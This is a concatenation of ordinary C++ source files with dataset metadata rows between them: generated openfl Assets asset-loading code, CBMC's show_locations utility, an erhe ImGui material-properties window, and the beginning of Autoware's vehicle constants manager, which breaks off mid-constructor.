HX_STACK_LINE(690)
if ((library->exists(symbolName,::openfl::AssetType_obj::BINARY))){
HX_STACK_LINE(694)
library->loadBytes(symbolName,handler);
HX_STACK_LINE(695)
return null();
}
else{
HX_STACK_LINE(697)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no String or ByteArray asset with an ID of \"") + id) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),699,HX_CSTRING("openfl.Assets"),HX_CSTRING("loadBytes")));
}
}
else{
HX_STACK_LINE(703)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no asset library named \"") + libraryName) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),705,HX_CSTRING("openfl.Assets"),HX_CSTRING("loadBytes")));
}
HX_STACK_LINE(711)
handler(null()).Cast< Void >();
}
return null();
}
STATIC_HX_DEFINE_DYNAMIC_FUNC2(Assets_obj,loadBytes,(void))
Void Assets_obj::loadFont( ::String id,Dynamic handler,hx::Null< bool > __o_useCache){
bool useCache = __o_useCache.Default(true);
HX_STACK_PUSH("Assets::loadFont","openfl/Assets.hx",716);
HX_STACK_ARG(id,"id");
HX_STACK_ARG(handler,"handler");
HX_STACK_ARG(useCache,"useCache");
{
HX_STACK_LINE(716)
Dynamic handler1 = Dynamic( Array_obj<Dynamic>::__new().Add(handler)); HX_STACK_VAR(handler1,"handler1");
HX_STACK_LINE(716)
Array< ::String > id1 = Array_obj< ::String >::__new().Add(id); HX_STACK_VAR(id1,"id1");
HX_STACK_LINE(718)
::openfl::Assets_obj::initialize();
HX_STACK_LINE(722)
if (((bool((bool(useCache) && bool(::openfl::Assets_obj::cache->enabled))) && bool(::openfl::Assets_obj::cache->font->exists(id1->__get((int)0)))))){
HX_STACK_LINE(724)
handler1->__GetItem((int)0)(::openfl::Assets_obj::cache->font->get(id1->__get((int)0))).Cast< Void >();
HX_STACK_LINE(725)
return null();
}
HX_STACK_LINE(729)
::String libraryName = id1->__get((int)0).substring((int)0,id1->__get((int)0).indexOf(HX_CSTRING(":"),null())); HX_STACK_VAR(libraryName,"libraryName");
HX_STACK_LINE(730)
::String symbolName = id1->__get((int)0).substr((id1->__get((int)0).indexOf(HX_CSTRING(":"),null()) + (int)1),null()); HX_STACK_VAR(symbolName,"symbolName");
HX_STACK_LINE(731)
::openfl::AssetLibrary library = ::openfl::Assets_obj::getLibrary(libraryName); HX_STACK_VAR(library,"library");
HX_STACK_LINE(733)
if (((library != null()))){
HX_STACK_LINE(733)
if ((library->exists(symbolName,::openfl::AssetType_obj::FONT))){
HX_STACK_LINE(737)
if (((bool(useCache) && bool(::openfl::Assets_obj::cache->enabled)))){
HX_BEGIN_LOCAL_FUNC_S2(hx::LocalFunc,_Function_4_1,Array< ::String >,id1,Dynamic,handler1)
Void run(::flash::text::Font font){
HX_STACK_PUSH("*::_Function_4_1","openfl/Assets.hx",739);
HX_STACK_ARG(font,"font");
{
HX_STACK_LINE(741)
::openfl::Assets_obj::cache->font->set(id1->__get((int)0),font);
HX_STACK_LINE(742)
handler1->__GetItem((int)0)(font).Cast< Void >();
}
return null();
}
HX_END_LOCAL_FUNC1((void))
HX_STACK_LINE(737)
library->loadFont(symbolName, Dynamic(new _Function_4_1(id1,handler1)));
}
else{
HX_STACK_LINE(746)
library->loadFont(symbolName,handler1->__GetItem((int)0));
}
HX_STACK_LINE(752)
return null();
}
else{
HX_STACK_LINE(754)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no Font asset with an ID of \"") + id1->__get((int)0)) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),756,HX_CSTRING("openfl.Assets"),HX_CSTRING("loadFont")));
}
}
else{
HX_STACK_LINE(760)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no asset library named \"") + libraryName) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),762,HX_CSTRING("openfl.Assets"),HX_CSTRING("loadFont")));
}
HX_STACK_LINE(768)
handler1->__GetItem((int)0)(null()).Cast< Void >();
}
return null();
}
STATIC_HX_DEFINE_DYNAMIC_FUNC3(Assets_obj,loadFont,(void))
Void Assets_obj::loadLibrary( ::String name,Dynamic handler){
{
HX_STACK_PUSH("Assets::loadLibrary","openfl/Assets.hx",773);
HX_STACK_ARG(name,"name");
HX_STACK_ARG(handler,"handler");
HX_STACK_LINE(775)
::openfl::Assets_obj::initialize();
HX_STACK_LINE(779)
::String data = ::openfl::Assets_obj::getText(((HX_CSTRING("libraries/") + name) + HX_CSTRING(".dat"))); HX_STACK_VAR(data,"data");
HX_STACK_LINE(781)
if (((bool((data != null())) && bool((data != HX_CSTRING("")))))){
HX_STACK_LINE(783)
::haxe::Unserializer unserializer = ::haxe::Unserializer_obj::__new(data); HX_STACK_VAR(unserializer,"unserializer");
struct _Function_2_1{
inline static Dynamic Block( ){
HX_STACK_PUSH("*::closure","openfl/Assets.hx",784);
{
hx::Anon __result = hx::Anon_obj::Create();
__result->Add(HX_CSTRING("resolveEnum") , ::openfl::Assets_obj::resolveEnum_dyn(),false);
__result->Add(HX_CSTRING("resolveClass") , ::openfl::Assets_obj::resolveClass_dyn(),false);
return __result;
}
return null();
}
};
HX_STACK_LINE(784)
unserializer->setResolver(_Function_2_1::Block());
HX_STACK_LINE(786)
::openfl::AssetLibrary library = unserializer->unserialize(); HX_STACK_VAR(library,"library");
HX_STACK_LINE(787)
::openfl::Assets_obj::libraries->set(name,library);
HX_STACK_LINE(788)
library->load(handler);
}
else{
HX_STACK_LINE(790)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no asset library named \"") + name) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),792,HX_CSTRING("openfl.Assets"),HX_CSTRING("loadLibrary")));
}
}
return null();
}
STATIC_HX_DEFINE_DYNAMIC_FUNC2(Assets_obj,loadLibrary,(void))
Void Assets_obj::loadMusic( ::String id,Dynamic handler,hx::Null< bool > __o_useCache){
bool useCache = __o_useCache.Default(true);
HX_STACK_PUSH("Assets::loadMusic","openfl/Assets.hx",801);
HX_STACK_ARG(id,"id");
HX_STACK_ARG(handler,"handler");
HX_STACK_ARG(useCache,"useCache");
{
HX_STACK_LINE(801)
Dynamic handler1 = Dynamic( Array_obj<Dynamic>::__new().Add(handler)); HX_STACK_VAR(handler1,"handler1");
HX_STACK_LINE(801)
Array< ::String > id1 = Array_obj< ::String >::__new().Add(id); HX_STACK_VAR(id1,"id1");
HX_STACK_LINE(803)
::openfl::Assets_obj::initialize();
HX_STACK_LINE(807)
if (((bool((bool(useCache) && bool(::openfl::Assets_obj::cache->enabled))) && bool(::openfl::Assets_obj::cache->sound->exists(id1->__get((int)0)))))){
HX_STACK_LINE(809)
::flash::media::Sound sound = ::openfl::Assets_obj::cache->sound->get(id1->__get((int)0)); HX_STACK_VAR(sound,"sound");
HX_STACK_LINE(811)
if ((::openfl::Assets_obj::isValidSound(sound))){
HX_STACK_LINE(813)
handler1->__GetItem((int)0)(sound).Cast< Void >();
HX_STACK_LINE(814)
return null();
}
}
HX_STACK_LINE(820)
::String libraryName = id1->__get((int)0).substring((int)0,id1->__get((int)0).indexOf(HX_CSTRING(":"),null())); HX_STACK_VAR(libraryName,"libraryName");
HX_STACK_LINE(821)
::String symbolName = id1->__get((int)0).substr((id1->__get((int)0).indexOf(HX_CSTRING(":"),null()) + (int)1),null()); HX_STACK_VAR(symbolName,"symbolName");
HX_STACK_LINE(822)
::openfl::AssetLibrary library = ::openfl::Assets_obj::getLibrary(libraryName); HX_STACK_VAR(library,"library");
HX_STACK_LINE(824)
if (((library != null()))){
HX_STACK_LINE(824)
if ((library->exists(symbolName,::openfl::AssetType_obj::MUSIC))){
HX_STACK_LINE(828)
if (((bool(useCache) && bool(::openfl::Assets_obj::cache->enabled)))){
HX_BEGIN_LOCAL_FUNC_S2(hx::LocalFunc,_Function_4_1,Array< ::String >,id1,Dynamic,handler1)
Void run(::flash::media::Sound sound){
HX_STACK_PUSH("*::_Function_4_1","openfl/Assets.hx",830);
HX_STACK_ARG(sound,"sound");
{
HX_STACK_LINE(832)
::openfl::Assets_obj::cache->sound->set(id1->__get((int)0),sound);
HX_STACK_LINE(833)
handler1->__GetItem((int)0)(sound).Cast< Void >();
}
return null();
}
HX_END_LOCAL_FUNC1((void))
HX_STACK_LINE(828)
library->loadMusic(symbolName, Dynamic(new _Function_4_1(id1,handler1)));
}
else{
HX_STACK_LINE(837)
library->loadMusic(symbolName,handler1->__GetItem((int)0));
}
HX_STACK_LINE(843)
return null();
}
else{
HX_STACK_LINE(845)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no Sound asset with an ID of \"") + id1->__get((int)0)) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),847,HX_CSTRING("openfl.Assets"),HX_CSTRING("loadMusic")));
}
}
else{
HX_STACK_LINE(851)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no asset library named \"") + libraryName) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),853,HX_CSTRING("openfl.Assets"),HX_CSTRING("loadMusic")));
}
HX_STACK_LINE(859)
handler1->__GetItem((int)0)(null()).Cast< Void >();
}
return null();
}
STATIC_HX_DEFINE_DYNAMIC_FUNC3(Assets_obj,loadMusic,(void))
Void Assets_obj::loadMovieClip( ::String id,Dynamic handler){
{
HX_STACK_PUSH("Assets::loadMovieClip","openfl/Assets.hx",864);
HX_STACK_ARG(id,"id");
HX_STACK_ARG(handler,"handler");
HX_STACK_LINE(866)
::openfl::Assets_obj::initialize();
HX_STACK_LINE(870)
::String libraryName = id.substring((int)0,id.indexOf(HX_CSTRING(":"),null())); HX_STACK_VAR(libraryName,"libraryName");
HX_STACK_LINE(871)
::String symbolName = id.substr((id.indexOf(HX_CSTRING(":"),null()) + (int)1),null()); HX_STACK_VAR(symbolName,"symbolName");
HX_STACK_LINE(872)
::openfl::AssetLibrary library = ::openfl::Assets_obj::getLibrary(libraryName); HX_STACK_VAR(library,"library");
HX_STACK_LINE(874)
if (((library != null()))){
HX_STACK_LINE(874)
if ((library->exists(symbolName,::openfl::AssetType_obj::MOVIE_CLIP))){
HX_STACK_LINE(878)
library->loadMovieClip(symbolName,handler);
HX_STACK_LINE(879)
return null();
}
else{
HX_STACK_LINE(881)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no MovieClip asset with an ID of \"") + id) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),883,HX_CSTRING("openfl.Assets"),HX_CSTRING("loadMovieClip")));
}
}
else{
HX_STACK_LINE(887)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no asset library named \"") + libraryName) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),889,HX_CSTRING("openfl.Assets"),HX_CSTRING("loadMovieClip")));
}
HX_STACK_LINE(895)
handler(null()).Cast< Void >();
}
return null();
}
STATIC_HX_DEFINE_DYNAMIC_FUNC2(Assets_obj,loadMovieClip,(void))
Void Assets_obj::loadSound( ::String id,Dynamic handler,hx::Null< bool > __o_useCache){
bool useCache = __o_useCache.Default(true);
HX_STACK_PUSH("Assets::loadSound","openfl/Assets.hx",900);
HX_STACK_ARG(id,"id");
HX_STACK_ARG(handler,"handler");
HX_STACK_ARG(useCache,"useCache");
{
HX_STACK_LINE(900)
Dynamic handler1 = Dynamic( Array_obj<Dynamic>::__new().Add(handler)); HX_STACK_VAR(handler1,"handler1");
HX_STACK_LINE(900)
Array< ::String > id1 = Array_obj< ::String >::__new().Add(id); HX_STACK_VAR(id1,"id1");
HX_STACK_LINE(902)
::openfl::Assets_obj::initialize();
HX_STACK_LINE(906)
if (((bool((bool(useCache) && bool(::openfl::Assets_obj::cache->enabled))) && bool(::openfl::Assets_obj::cache->sound->exists(id1->__get((int)0)))))){
HX_STACK_LINE(908)
::flash::media::Sound sound = ::openfl::Assets_obj::cache->sound->get(id1->__get((int)0)); HX_STACK_VAR(sound,"sound");
HX_STACK_LINE(910)
if ((::openfl::Assets_obj::isValidSound(sound))){
HX_STACK_LINE(912)
handler1->__GetItem((int)0)(sound).Cast< Void >();
HX_STACK_LINE(913)
return null();
}
}
HX_STACK_LINE(919)
::String libraryName = id1->__get((int)0).substring((int)0,id1->__get((int)0).indexOf(HX_CSTRING(":"),null())); HX_STACK_VAR(libraryName,"libraryName");
HX_STACK_LINE(920)
::String symbolName = id1->__get((int)0).substr((id1->__get((int)0).indexOf(HX_CSTRING(":"),null()) + (int)1),null()); HX_STACK_VAR(symbolName,"symbolName");
HX_STACK_LINE(921)
::openfl::AssetLibrary library = ::openfl::Assets_obj::getLibrary(libraryName); HX_STACK_VAR(library,"library");
HX_STACK_LINE(923)
if (((library != null()))){
HX_STACK_LINE(923)
if ((library->exists(symbolName,::openfl::AssetType_obj::SOUND))){
HX_STACK_LINE(927)
if (((bool(useCache) && bool(::openfl::Assets_obj::cache->enabled)))){
HX_BEGIN_LOCAL_FUNC_S2(hx::LocalFunc,_Function_4_1,Array< ::String >,id1,Dynamic,handler1)
Void run(::flash::media::Sound sound){
HX_STACK_PUSH("*::_Function_4_1","openfl/Assets.hx",929);
HX_STACK_ARG(sound,"sound");
{
HX_STACK_LINE(931)
::openfl::Assets_obj::cache->sound->set(id1->__get((int)0),sound);
HX_STACK_LINE(932)
handler1->__GetItem((int)0)(sound).Cast< Void >();
}
return null();
}
HX_END_LOCAL_FUNC1((void))
HX_STACK_LINE(927)
library->loadSound(symbolName, Dynamic(new _Function_4_1(id1,handler1)));
}
else{
HX_STACK_LINE(936)
library->loadSound(symbolName,handler1->__GetItem((int)0));
}
HX_STACK_LINE(942)
return null();
}
else{
HX_STACK_LINE(944)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no Sound asset with an ID of \"") + id1->__get((int)0)) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),946,HX_CSTRING("openfl.Assets"),HX_CSTRING("loadSound")));
}
}
else{
HX_STACK_LINE(950)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no asset library named \"") + libraryName) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),952,HX_CSTRING("openfl.Assets"),HX_CSTRING("loadSound")));
}
HX_STACK_LINE(958)
handler1->__GetItem((int)0)(null()).Cast< Void >();
}
return null();
}
STATIC_HX_DEFINE_DYNAMIC_FUNC3(Assets_obj,loadSound,(void))
Void Assets_obj::loadText( ::String id,Dynamic handler){
{
HX_STACK_PUSH("Assets::loadText","openfl/Assets.hx",963);
HX_STACK_ARG(id,"id");
HX_STACK_ARG(handler,"handler");
HX_STACK_LINE(963)
Dynamic handler1 = Dynamic( Array_obj<Dynamic>::__new().Add(handler)); HX_STACK_VAR(handler1,"handler1");
HX_STACK_LINE(965)
::openfl::Assets_obj::initialize();
HX_BEGIN_LOCAL_FUNC_S1(hx::LocalFunc,_Function_1_1,Dynamic,handler1)
Void run(::flash::utils::ByteArray bytes){
HX_STACK_PUSH("*::_Function_1_1","openfl/Assets.hx",969);
HX_STACK_ARG(bytes,"bytes");
{
HX_STACK_LINE(969)
if (((bytes == null()))){
HX_STACK_LINE(971)
handler1->__GetItem((int)0)(null()).Cast< Void >();
}
else{
HX_STACK_LINE(975)
handler1->__GetItem((int)0)(bytes->readUTFBytes(bytes->length)).Cast< Void >();
}
}
return null();
}
HX_END_LOCAL_FUNC1((void))
HX_STACK_LINE(969)
Dynamic callback = Dynamic(new _Function_1_1(handler1)); HX_STACK_VAR(callback,"callback");
HX_STACK_LINE(983)
::openfl::Assets_obj::loadBytes(id,callback);
}
return null();
}
STATIC_HX_DEFINE_DYNAMIC_FUNC2(Assets_obj,loadText,(void))
Void Assets_obj::registerLibrary( ::String name,::openfl::AssetLibrary library){
{
HX_STACK_PUSH("Assets::registerLibrary","openfl/Assets.hx",994);
HX_STACK_ARG(name,"name");
HX_STACK_ARG(library,"library");
HX_STACK_LINE(996)
if ((::openfl::Assets_obj::libraries->exists(name))){
HX_STACK_LINE(996)
::openfl::Assets_obj::unloadLibrary(name);
}
HX_STACK_LINE(1002)
::openfl::Assets_obj::libraries->set(name,library);
}
return null();
}
STATIC_HX_DEFINE_DYNAMIC_FUNC2(Assets_obj,registerLibrary,(void))
::Class Assets_obj::resolveClass( ::String name){
HX_STACK_PUSH("Assets::resolveClass","openfl/Assets.hx",1007);
HX_STACK_ARG(name,"name");
HX_STACK_LINE(1007)
return ::Type_obj::resolveClass(name);
}
STATIC_HX_DEFINE_DYNAMIC_FUNC1(Assets_obj,resolveClass,return )
::Enum Assets_obj::resolveEnum( ::String name){
HX_STACK_PUSH("Assets::resolveEnum","openfl/Assets.hx",1014);
HX_STACK_ARG(name,"name");
HX_STACK_LINE(1016)
::Enum value = ::Type_obj::resolveEnum(name); HX_STACK_VAR(value,"value");
HX_STACK_LINE(1028)
return value;
}
STATIC_HX_DEFINE_DYNAMIC_FUNC1(Assets_obj,resolveEnum,return )
Void Assets_obj::unloadLibrary( ::String name){
{
HX_STACK_PUSH("Assets::unloadLibrary","openfl/Assets.hx",1033);
HX_STACK_ARG(name,"name");
HX_STACK_LINE(1035)
::openfl::Assets_obj::initialize();
HX_STACK_LINE(1039)
Dynamic keys = ::openfl::Assets_obj::cache->bitmapData->keys(); HX_STACK_VAR(keys,"keys");
HX_STACK_LINE(1041)
for(::cpp::FastIterator_obj< ::String > *__it = ::cpp::CreateFastIterator< ::String >(keys); __it->hasNext(); ){
::String key = __it->next();
{
HX_STACK_LINE(1043)
::String libraryName = key.substring((int)0,key.indexOf(HX_CSTRING(":"),null())); HX_STACK_VAR(libraryName,"libraryName");
HX_STACK_LINE(1044)
::String symbolName = key.substr((key.indexOf(HX_CSTRING(":"),null()) + (int)1),null()); HX_STACK_VAR(symbolName,"symbolName");
HX_STACK_LINE(1046)
if (((libraryName == name))){
HX_STACK_LINE(1046)
::openfl::Assets_obj::cache->bitmapData->remove(key);
}
}
;
}
HX_STACK_LINE(1054)
::openfl::Assets_obj::libraries->remove(name);
}
return null();
}
STATIC_HX_DEFINE_DYNAMIC_FUNC1(Assets_obj,unloadLibrary,(void))
Assets_obj::Assets_obj()
{
}
void Assets_obj::__Mark(HX_MARK_PARAMS)
{
HX_MARK_BEGIN_CLASS(Assets);
HX_MARK_END_CLASS();
}
void Assets_obj::__Visit(HX_VISIT_PARAMS)
{
}
Dynamic Assets_obj::__Field(const ::String &inName,bool inCallProp)
{
switch(inName.length) {
case 5:
if (HX_FIELD_EQ(inName,"cache") ) { return cache; }
break;
case 6:
if (HX_FIELD_EQ(inName,"exists") ) { return exists_dyn(); }
break;
case 7:
if (HX_FIELD_EQ(inName,"getFont") ) { return getFont_dyn(); }
if (HX_FIELD_EQ(inName,"getPath") ) { return getPath_dyn(); }
if (HX_FIELD_EQ(inName,"getText") ) { return getText_dyn(); }
if (HX_FIELD_EQ(inName,"isLocal") ) { return isLocal_dyn(); }
break;
case 8:
if (HX_FIELD_EQ(inName,"getBytes") ) { return getBytes_dyn(); }
if (HX_FIELD_EQ(inName,"getMusic") ) { return getMusic_dyn(); }
if (HX_FIELD_EQ(inName,"getSound") ) { return getSound_dyn(); }
if (HX_FIELD_EQ(inName,"loadFont") ) { return loadFont_dyn(); }
if (HX_FIELD_EQ(inName,"loadText") ) { return loadText_dyn(); }
break;
case 9:
if (HX_FIELD_EQ(inName,"libraries") ) { return libraries; }
if (HX_FIELD_EQ(inName,"loadBytes") ) { return loadBytes_dyn(); }
if (HX_FIELD_EQ(inName,"loadMusic") ) { return loadMusic_dyn(); }
if (HX_FIELD_EQ(inName,"loadSound") ) { return loadSound_dyn(); }
break;
case 10:
if (HX_FIELD_EQ(inName,"getLibrary") ) { return getLibrary_dyn(); }
if (HX_FIELD_EQ(inName,"initialize") ) { return initialize_dyn(); }
break;
case 11:
if (HX_FIELD_EQ(inName,"initialized") ) { return initialized; }
if (HX_FIELD_EQ(inName,"loadLibrary") ) { return loadLibrary_dyn(); }
if (HX_FIELD_EQ(inName,"resolveEnum") ) { return resolveEnum_dyn(); }
break;
case 12:
if (HX_FIELD_EQ(inName,"getMovieClip") ) { return getMovieClip_dyn(); }
if (HX_FIELD_EQ(inName,"isValidSound") ) { return isValidSound_dyn(); }
if (HX_FIELD_EQ(inName,"resolveClass") ) { return resolveClass_dyn(); }
break;
case 13:
if (HX_FIELD_EQ(inName,"getBitmapData") ) { return getBitmapData_dyn(); }
if (HX_FIELD_EQ(inName,"loadMovieClip") ) { return loadMovieClip_dyn(); }
if (HX_FIELD_EQ(inName,"unloadLibrary") ) { return unloadLibrary_dyn(); }
break;
case 14:
if (HX_FIELD_EQ(inName,"loadBitmapData") ) { return loadBitmapData_dyn(); }
break;
case 15:
if (HX_FIELD_EQ(inName,"registerLibrary") ) { return registerLibrary_dyn(); }
break;
case 17:
if (HX_FIELD_EQ(inName,"isValidBitmapData") ) { return isValidBitmapData_dyn(); }
}
return super::__Field(inName,inCallProp);
}
Dynamic Assets_obj::__SetField(const ::String &inName,const Dynamic &inValue,bool inCallProp)
{
switch(inName.length) {
case 5:
if (HX_FIELD_EQ(inName,"cache") ) { cache=inValue.Cast< ::openfl::AssetCache >(); return inValue; }
break;
case 9:
if (HX_FIELD_EQ(inName,"libraries") ) { libraries=inValue.Cast< ::haxe::ds::StringMap >(); return inValue; }
break;
case 11:
if (HX_FIELD_EQ(inName,"initialized") ) { initialized=inValue.Cast< bool >(); return inValue; }
}
return super::__SetField(inName,inValue,inCallProp);
}
void Assets_obj::__GetFields(Array< ::String> &outFields)
{
super::__GetFields(outFields);
};
static ::String sStaticFields[] = {
HX_CSTRING("cache"),
HX_CSTRING("libraries"),
HX_CSTRING("initialized"),
HX_CSTRING("exists"),
HX_CSTRING("getBitmapData"),
HX_CSTRING("getBytes"),
HX_CSTRING("getFont"),
HX_CSTRING("getLibrary"),
HX_CSTRING("getMovieClip"),
HX_CSTRING("getMusic"),
HX_CSTRING("getPath"),
HX_CSTRING("getSound"),
HX_CSTRING("getText"),
HX_CSTRING("initialize"),
HX_CSTRING("isLocal"),
HX_CSTRING("isValidBitmapData"),
HX_CSTRING("isValidSound"),
HX_CSTRING("loadBitmapData"),
HX_CSTRING("loadBytes"),
HX_CSTRING("loadFont"),
HX_CSTRING("loadLibrary"),
HX_CSTRING("loadMusic"),
HX_CSTRING("loadMovieClip"),
HX_CSTRING("loadSound"),
HX_CSTRING("loadText"),
HX_CSTRING("registerLibrary"),
HX_CSTRING("resolveClass"),
HX_CSTRING("resolveEnum"),
HX_CSTRING("unloadLibrary"),
String(null()) };
static ::String sMemberFields[] = {
String(null()) };
static void sMarkStatics(HX_MARK_PARAMS) {
HX_MARK_MEMBER_NAME(Assets_obj::__mClass,"__mClass");
HX_MARK_MEMBER_NAME(Assets_obj::cache,"cache");
HX_MARK_MEMBER_NAME(Assets_obj::libraries,"libraries");
HX_MARK_MEMBER_NAME(Assets_obj::initialized,"initialized");
};
static void sVisitStatics(HX_VISIT_PARAMS) {
HX_VISIT_MEMBER_NAME(Assets_obj::__mClass,"__mClass");
HX_VISIT_MEMBER_NAME(Assets_obj::cache,"cache");
HX_VISIT_MEMBER_NAME(Assets_obj::libraries,"libraries");
HX_VISIT_MEMBER_NAME(Assets_obj::initialized,"initialized");
};
Class Assets_obj::__mClass;
void Assets_obj::__register()
{
hx::Static(__mClass) = hx::RegisterClass(HX_CSTRING("openfl.Assets"), hx::TCanCast< Assets_obj> ,sStaticFields,sMemberFields,
&__CreateEmpty, &__Create,
&super::__SGetClass(), 0, sMarkStatics, sVisitStatics);
}
void Assets_obj::__boot()
{
cache= ::openfl::AssetCache_obj::__new();
libraries= ::haxe::ds::StringMap_obj::__new();
initialized= false;
}
} // end namespace openfl
| 37.265123 | 249 | 0.698846 | DrSkipper |
78d3b7b5ced8d20e58ed950c2bc7bdb888d2bd1d | 2,296 | cpp | C++ | src/goto-instrument/show_locations.cpp | dan-blank/yogar-cbmc | 05b4f056b585b65828acf39546c866379dca6549 | [
"MIT"
] | 1 | 2017-07-25T02:44:56.000Z | 2017-07-25T02:44:56.000Z | src/goto-instrument/show_locations.cpp | dan-blank/yogar-cbmc | 05b4f056b585b65828acf39546c866379dca6549 | [
"MIT"
] | 1 | 2017-02-22T14:35:19.000Z | 2017-02-27T08:49:58.000Z | src/goto-instrument/show_locations.cpp | dan-blank/yogar-cbmc | 05b4f056b585b65828acf39546c866379dca6549 | [
"MIT"
] | 4 | 2019-01-19T03:32:21.000Z | 2021-12-20T14:25:19.000Z | /*******************************************************************\
Module: Show program locations
Author: Daniel Kroening, kroening@kroening.com
\*******************************************************************/
#include <iostream>
#include <util/xml.h>
#include <util/i2string.h>
#include <util/xml_irep.h>
#include <langapi/language_util.h>
#include "show_locations.h"
/*******************************************************************\
Function: show_locations
Inputs:
Outputs:
Purpose:
\*******************************************************************/
void show_locations(
ui_message_handlert::uit ui,
const irep_idt function_id,
const goto_programt &goto_program)
{
for(goto_programt::instructionst::const_iterator
it=goto_program.instructions.begin();
it!=goto_program.instructions.end();
it++)
{
const source_locationt &source_location=it->source_location;
switch(ui)
{
case ui_message_handlert::XML_UI:
{
xmlt xml("program_location");
xml.new_element("function").data=id2string(function_id);
xml.new_element("id").data=i2string(it->location_number);
xmlt &l=xml.new_element();
l.name="location";
l.new_element("line").data=id2string(source_location.get_line());
l.new_element("file").data=id2string(source_location.get_file());
l.new_element("function").data=id2string(source_location.get_function());
std::cout << xml << std::endl;
}
break;
case ui_message_handlert::PLAIN:
std::cout << function_id << " "
<< it->location_number << " "
<< it->source_location << std::endl;
break;
default:
assert(false);
}
}
}
/*******************************************************************\
Function: show_locations
Inputs:
Outputs:
Purpose:
\*******************************************************************/
void show_locations(
ui_message_handlert::uit ui,
const goto_functionst &goto_functions)
{
for(goto_functionst::function_mapt::const_iterator
it=goto_functions.function_map.begin();
it!=goto_functions.function_map.end();
it++)
show_locations(ui, it->first, it->second.body);
}
| 23.916667 | 81 | 0.533101 | dan-blank |
78d7b2a7f0b748358776c03a9b2b14c2327b889e | 1,283 | cpp | C++ | src/editor/windows/material_properties.cpp | tksuoran/erhe | 07d1ea014e1675f6b09bff0d9d4f3568f187e0d8 | [
"Apache-2.0"
] | 36 | 2021-05-03T10:47:49.000Z | 2022-03-19T12:54:03.000Z | src/editor/windows/material_properties.cpp | tksuoran/erhe | 07d1ea014e1675f6b09bff0d9d4f3568f187e0d8 | [
"Apache-2.0"
] | 29 | 2020-05-17T08:26:31.000Z | 2022-03-27T08:52:47.000Z | src/editor/windows/material_properties.cpp | tksuoran/erhe | 07d1ea014e1675f6b09bff0d9d4f3568f187e0d8 | [
"Apache-2.0"
] | 2 | 2022-01-24T09:24:37.000Z | 2022-01-31T20:45:36.000Z | #include "windows/material_properties.hpp"
#include "editor_tools.hpp"
#include "windows/materials.hpp"
#include "erhe/primitive/material.hpp"
#include <imgui.h>
#include <imgui/misc/cpp/imgui_stdlib.h>
namespace editor
{
Material_properties::Material_properties()
: erhe::components::Component{c_name}
, Imgui_window {c_title}
{
}
Material_properties::~Material_properties() = default;
void Material_properties::connect()
{
m_materials = get<Materials>();
}
void Material_properties::initialize_component()
{
get<Editor_tools>()->register_imgui_window(this);
}
void Material_properties::imgui()
{
if (m_materials == nullptr)
{
return;
}
{
const auto selected_material = m_materials->selected_material();
if (selected_material)
{
ImGui::InputText("Name", &selected_material->name);
ImGui::SliderFloat("Metallic", &selected_material->metallic, 0.0f, 1.0f);
ImGui::SliderFloat("Anisotropy", &selected_material->anisotropy, -1.0f, 1.0f);
ImGui::SliderFloat("Roughness", &selected_material->roughness, 0.0f, 1.0f);
ImGui::ColorEdit4 ("Base Color", &selected_material->base_color.x, ImGuiColorEditFlags_Float);
}
}
}
}
| 24.207547 | 106 | 0.667186 | tksuoran |
78dc4dbfdb625cd786ff16bd6fb42cf80d9f60da | 7,153 | cpp | C++ | src/common/vehicle_constants_manager/src/vehicle_constants_manager.cpp | QS-L-1992/AutowareAuto | f35a22677cbd2309ecae36d52f83f035cd96b8cb | [
"Apache-2.0"
] | 19 | 2021-05-28T06:14:21.000Z | 2022-03-10T10:03:08.000Z | src/common/vehicle_constants_manager/src/vehicle_constants_manager.cpp | QS-L-1992/AutowareAuto | f35a22677cbd2309ecae36d52f83f035cd96b8cb | [
"Apache-2.0"
] | null | null | null | src/common/vehicle_constants_manager/src/vehicle_constants_manager.cpp | QS-L-1992/AutowareAuto | f35a22677cbd2309ecae36d52f83f035cd96b8cb | [
"Apache-2.0"
] | 14 | 2021-05-29T14:59:17.000Z | 2022-03-10T10:03:09.000Z | // Copyright 2021 The Autoware Foundation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "vehicle_constants_manager/vehicle_constants_manager.hpp"
#include <rclcpp/rclcpp.hpp>
#include <map>
#include <stdexcept>
#include <string>
#include <utility>
namespace autoware
{
namespace common
{
namespace vehicle_constants_manager
{
using float64_t = VehicleConstants::float64_t;
VehicleConstants::VehicleConstants(
float64_t wheel_radius,
float64_t wheel_width,
float64_t wheel_base,
float64_t wheel_tread,
float64_t overhang_front,
float64_t overhang_rear,
float64_t overhang_left,
float64_t overhang_right,
float64_t vehicle_height,
float64_t cg_to_rear,
